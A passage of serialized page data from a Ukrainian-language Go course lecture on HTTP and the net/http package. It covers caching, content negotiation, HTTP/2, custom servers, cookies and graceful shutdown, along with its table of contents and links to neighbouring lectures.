Slowloris.",[5201,40357,40358,40361],{},[5205,40359,40360],{},"TLS\u002FHTTPS:"," налаштування сертифікатів, автоматична підтримка HTTP\u002F2 через ALPN.",[5193,40363,40365],{"icon":92,"title":40364},"⚡ Оптимізація продуктивності",[5198,40366,40367,40373,40379,40385],{},[5201,40368,40369,40372],{},[5205,40370,40371],{},"HTTP Caching:"," Cache-Control, max-age, ETag, Last-Modified, умовні запити (If-None-Match, If-Modified-Since), статус-код 304.",[5201,40374,40375,40378],{},[5205,40376,40377],{},"Content Negotiation:"," Accept, Accept-Encoding (gzip, br), Accept-Language, багатоформатні API.",[5201,40380,40381,40384],{},[5205,40382,40383],{},"Range Requests:"," часткове завантаження (статус-код 206), докачування файлів, потокове відео.",[5201,40386,40387,40390],{},[5205,40388,40389],{},"HTTP\u002F2 можливості:"," мультиплексування потоків, Server Push, пріоритизація, HPACK стиснення заголовків.",[5193,40392,40395],{"icon":40393,"title":40394},"i-lucide-code","🛠️ Практична реалізація у Go",[5198,40396,40397,40410,40418,40424,40436,40442,40450,40464,40470],{},[5201,40398,40399,40403,40404,5305,40406,5305,40408,5268],{},[5205,40400,26469,40401,7256],{},[5236,40402,5238],{}," інтерфейс ",[5236,40405,5242],{},[5236,40407,5250],{},[5236,40409,5246],{},[5201,40411,40412,5302,40415,40417],{},[5205,40413,40414],{},"Кастомний сервер:",[5236,40416,5257],{}," з налаштуванням таймаутів, TLS, MaxHeaderBytes.",[5201,40419,40420,40423],{},[5205,40421,40422],{},"Обробка різних типів запитів:"," query-параметри, заголовки, JSON, форми, multipart\u002Fform-data, потокові дані.",[5201,40425,40426,5302,40429,5305,40432,40435],{},[5205,40427,40428],{},"Potokове введення\u002Fвиведення:",[5236,40430,40431],{},"io.Copy",[5236,40433,40434],{},"io.CopyN",", передача великих файлів без завантаження в пам'ять.",[5201,40437,40438,40441],{},[5205,40439,40440],{},"Graceful Shutdown:"," коректне завершення при SIGTERM\u002FSIGINT, контекст із таймаутом.",[5201,40443,40444,5302,40447,40449],{},[5205,40445,40446],{},"Модульне тестування:",[5236,40448,5337],{},", створення фіктивних запитів та відповідей.",[5201,40451,40452,40455,40456,40459,40460,40463],{},[5205,40453,40454],{},"Cookies у Go:"," встановлення через ",[5236,40457,40458],{},"http.SetCookie",", читання через ",[5236,40461,40462],{},"r.Cookie",", видалення (MaxAge=-1).",[5201,40465,40466,40469],{},[5205,40467,40468],{},"ETag реалізація:"," генерація хешу, перевірка If-None-Match, повернення 304.",[5201,40471,40472,40474,40475,5268],{},[5205,40473,40383],{}," ручна реалізація або автоматична через ",[5236,40476,34613],{},[8040,40478,40479,40482,40483,40486,40487,40490],{},[5205,40480,40481],{},"Наступний крок:"," У наступній лекції ми перейдемо до вивчення ",[5205,40484,40485],{},"маршрутизатора Chi"," та принципів проєктування ",[5205,40488,40489],{},"REST API",", де опануємо патерни параметрів шляху, суб-роутери, Middleware та формування стандартизованих відповідей згідно з RFC 7807 Problem Details.",[40492,40493,40494],"style",{},"html pre.shiki code .su1O8, html code.shiki .su1O8{--shiki-light:#0000FF;--shiki-default:#569CD6;--shiki-dark:#569CD6}html pre.shiki code .sN1BT, html code.shiki .sN1BT{--shiki-light:#267F99;--shiki-default:#4EC9B0;--shiki-dark:#4EC9B0}html pre.shiki code .s8xlr, html code.shiki .s8xlr{--shiki-light:#AF00DB;--shiki-default:#C586C0;--shiki-dark:#C586C0}html pre.shiki code .sHH4Y, html code.shiki .sHH4Y{--shiki-light:#000000;--shiki-default:#D4D4D4;--shiki-dark:#D4D4D4}html pre.shiki code .sbdoH, html code.shiki .sbdoH{--shiki-light:#A31515;--shiki-default:#CE9178;--shiki-dark:#CE9178}html pre.shiki code .s8Opu, html code.shiki .s8Opu{--shiki-light:#795E26;--shiki-default:#DCDCAA;--shiki-dark:#DCDCAA}html pre.shiki code .spJ8K, html code.shiki .spJ8K{--shiki-light:#008000;--shiki-default:#6A9955;--shiki-dark:#6A9955}html pre.shiki code .siwwj, html code.shiki .siwwj{--shiki-light:#001080;--shiki-default:#9CDCFE;--shiki-dark:#9CDCFE}html pre.shiki code .sJj4R, html code.shiki .sJj4R{--shiki-light:#098658;--shiki-default:#B5CEA8;--shiki-dark:#B5CEA8}html pre.shiki code .sjcCO, html code.shiki .sjcCO{--shiki-light:#EE0000;--shiki-default:#D7BA7D;--shiki-dark:#D7BA7D}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sLwNe, html code.shiki .sLwNe{--shiki-light:#0451A5;--shiki-default:#9CDCFE;--shiki-dark:#9CDCFE}html pre.shiki code .s-QsJ, html code.shiki .s-QsJ{--shiki-light:#0070C1;--shiki-default:#4FC1FF;--shiki-dark:#4FC1FF}html pre.shiki code .s0P7L, html code.shiki .s0P7L{--shiki-light:#800000;--shiki-default:#808080;--shiki-dark:#808080}html pre.shiki code .sKtos, html code.shiki .sKtos{--shiki-light:#800000;--shiki-default:#569CD6;--shiki-dark:#569CD6}html pre.shiki code .sa4r_, html code.shiki .sa4r_{--shiki-light:#E50000;--shiki-default:#9CDCFE;--shiki-dark:#9CDCFE}html pre.shiki code .su9tN, html code.shiki .su9tN{--shiki-light:#0000FF;--shiki-default:#CE9178;--shiki-dark:#CE9178}",{"title":5472,"searchDepth":5571,"depth":5571,"links":40496},[40497,40498,40499,40505,40512,40519,40525,40531,40548,40567,40571,40572,40581,40586,40591,40594,40597,40600,40604,40605],{"id":5345,"depth":5571,"text":5346},{"id":5440,"depth":5571,"text":5441},{"id":7158,"depth":5571,"text":7159,"children":40500},[40501,40502,40503,40504],{"id":7169,"depth":5578,"text":7170},{"id":7216,"depth":5578,"text":7217},{"id":7297,"depth":5578,"text":7298},{"id":7362,"depth":5578,"text":7363},{"id":7665,"depth":5571,"text":7666,"children":40506},[40507,40508,40509,40510,40511],{"id":7690,"depth":5578,"text":7691},{"id":7746,"depth":5578,"text":7747},{"id":8052,"depth":5578,"text":8053},{"id":8340,"depth":5578,"text":8341},{"id":8377,"depth":5578,"text":8378},{"id":9630,"depth":5571,"text":9631,"children":40513},[40514,40515,40516,40517,40518],{"id":9644,"depth":5578,"text":9645},{"id":9669,"depth":5578,"text":9670},{"id":9696,"depth":5578,"text":9697},{"id":10297,"depth":5578,"text":10298},{"id":10353,"depth":5578,"text":10354},{"id":10411,"depth":5571,"text":10412,"children":40520},[40521,40522,40523,40524],{"id":10425,"depth":5578,"text":10426},{"id":10589,"depth":5578,"text":10590},{"id":10743,"depth":5578,"text":10744},{"id":11136,"depth":5578,"text":11137},{"id":11186,"depth":5571,"text":11187,"children":40526},[40527,40528,40529,40530],{"id":11199,"depth":5578,"text":11200},{"id":11264,"depth":5578,"text":11265},{"id":11692,"depth":5578,"text":11693},{"id":12091,"depth":5578,"text":12092},{"id":12120,"depth":5571,"text":40532,"children":40533},"Стандартний пакет net\u002Fhttp: архітектура та інтерфейси",[40534,40536,40538,40540,40542,40543,40544,40545,40546],{"id":12133,"depth":5578,"text":40535},"Центральний інтерфейс http.Handler",{"id":12250,"depth":5578,"text":40537},"Найпростіший HTTP-сервер на net\u002Fhttp",{"id":12456,"depth":5578,"text":40539},"Як працює http.ListenAndServe",{"id":12530,"depth":5578,"text":40541},"Стандартний роутер http.ServeMux",{"id":13152,"depth":5578,"text":13153},{"id":13274,"depth":5578,"text":13275},{"id":13330,"depth":5578,"text":13331},{"id":13454,"depth":5578,"text":13455},{"id":13569,"depth":5578,"text":40547},"Крок 4. Точний збіг кореня та кінцевих слешів (Exact Match \u002F{$})",{"id":16549,"depth":5571,"text":40549,"children":40550},"Глибокий розбір net\u002Fhttp: всі рухомі частинки",[40551,40553,40555,40557,40559,40561,40563,40565,40566],{"id":16562,"depth":5578,"text":40552},"Структура http.Request: повна анатомія запиту",{"id":19703,"depth":5578,"text":40554},"Інтерфейс http.ResponseWriter: формування відповіді",{"id":21537,"depth":5578,"text":40556},"Структура http.Server: конфігурація сервера",{"id":22850,"depth":5578,"text":40558},"Структура http.Cookie: робота з куками",{"id":23578,"depth":5578,"text":40560},"Структура http.Client: HTTP-клієнт",{"id":25146,"depth":5578,"text":40562},"Структура http.Transport: налаштування з'єднань",{"id":25852,"depth":5578,"text":40564},"Структура http.Response: відповідь від сервера",{"id":26465,"depth":5578,"text":26466},{"id":28237,"depth":5578,"text":28238},{"id":29768,"depth":5571,"text":40568,"children":40569},"Створення кастомного http.Server: контроль над деталями",[40570],{"id":30434,"depth":5578,"text":30435},{"id":30492,"depth":5571,"text":30493},{"id":30661,"depth":5571,"text":30662,"children":40573},[40574,40575,40576,40577,40579],{"id":30668,"depth":5578,"text":30669},{"id":30929,"depth":5578,"text":30930},{"id":31182,"depth":5578,"text":31183},{"id":31763,"depth":5578,"text":40578},"Обробка форм application\u002Fx-www-form-urlencoded",{"id":32253,"depth":5578,"text":40580},"Обробка завантаження файлів multipart\u002Fform-data",{"id":32819,"depth":5571,"text":32820,"children":40582},[40583,40584,40585],{"id":32850,"depth":5578,"text":32851},{"id":32914,"depth":5578,"text":32915},{"id":33193,"depth":5578,"text":33194},{"id":33878,"depth":5571,"text":33879,"children":40587},[40588,40589,40590],{"id":33894,"depth":5578,"text":33895},{"id":34239,"depth":5578,"text":34240},{"id":34497,"depth":5578,"text":34498},{"id":35626,"depth":5571,"text":35627,"children":40592},[40593],{"id":35661,"depth":5578,"text":35662},{"id":35939,"depth":5571,"text":35940,"children":40595},[40596],{"id":35951,"depth":5578,"text":35952},{"id":36480,"depth":5571,"text":36481,"children":40598},[40599],{"id":39317,"depth":5578,"text":39318},{"id":39635,"depth":5571,"text":39636,"children":40601},[40602,40603],{"id":39639,"depth":5578,"text":39640},{"id":39894,"depth":5578,"text":39895},{"id":40005,"depth":5571,"text":40006},{"id":40291,"depth":5571,"text":40292},"Еволюція протоколу HTTP від версії 1.0 до HTTP\u002F3 з транспортом QUIC, детальний розбір анатомії HTTP-запитів та відповідей (методи, статус-коди, заголовки, тіло), принципи ідемпотентності та безпеки методів, стандартний пакет net\u002Fhttp у Go (інтерфейс http.Handler, роутер http.ServeMux, кастомний http.Server), налаштування таймаутів, TLS та обробка потокових даних.","md",null,{},{"title":4017,"description":40606},"dL08vA_TmHKpcZjV6JzRxvFZJfUntKReeUca8DTzzxQ",[40613,40615],{"title":4013,"path":4014,"stem":4015,"description":40614,"children":-1},"Детальний розгляд фундаментальних протоколів прикладного рівня: DNS як основа інфраструктури імен в інтернеті (ієрархія доменів, формат DNS-повідомлень, типи записів A\u002FAAAA\u002FCNAME\u002FMX\u002FTXT\u002FSRV, проблема CNAME на Zone Apex, механізми CNAME Flattening та RFC 9460 HTTPS\u002FSVCB для роботи без www, резолвінг у Go через net.Resolver) та SMTP як стандарт електронної пошти (архітектура поштових систем, команди та коди відповідей, формат MIME, багатокомпонентні листи Multipart, вкладення файлів Base64, захист пошти STARTTLS\u002FSPF\u002FDKIM\u002FDMARC, надсилання через пакет net\u002Fsmtp).",{"title":4021,"path":4022,"stem":4023,"description":40616,"children":-1},"Еволюція від RPC до HTTP API, архітектурний стиль REST, мотивація та обмеження, складові HTTP-запитів (URL, заголовки, методи, статус-коди), проєктування номенклатури URL, CRUD-операції, маршрутизатор go-chi\u002Fchi з підтримкою Radix Tree, параметри шляху, суб-роутери, Middleware та побудова REST API у Go з дотриманням принципів Clean Architecture.",1791986744454]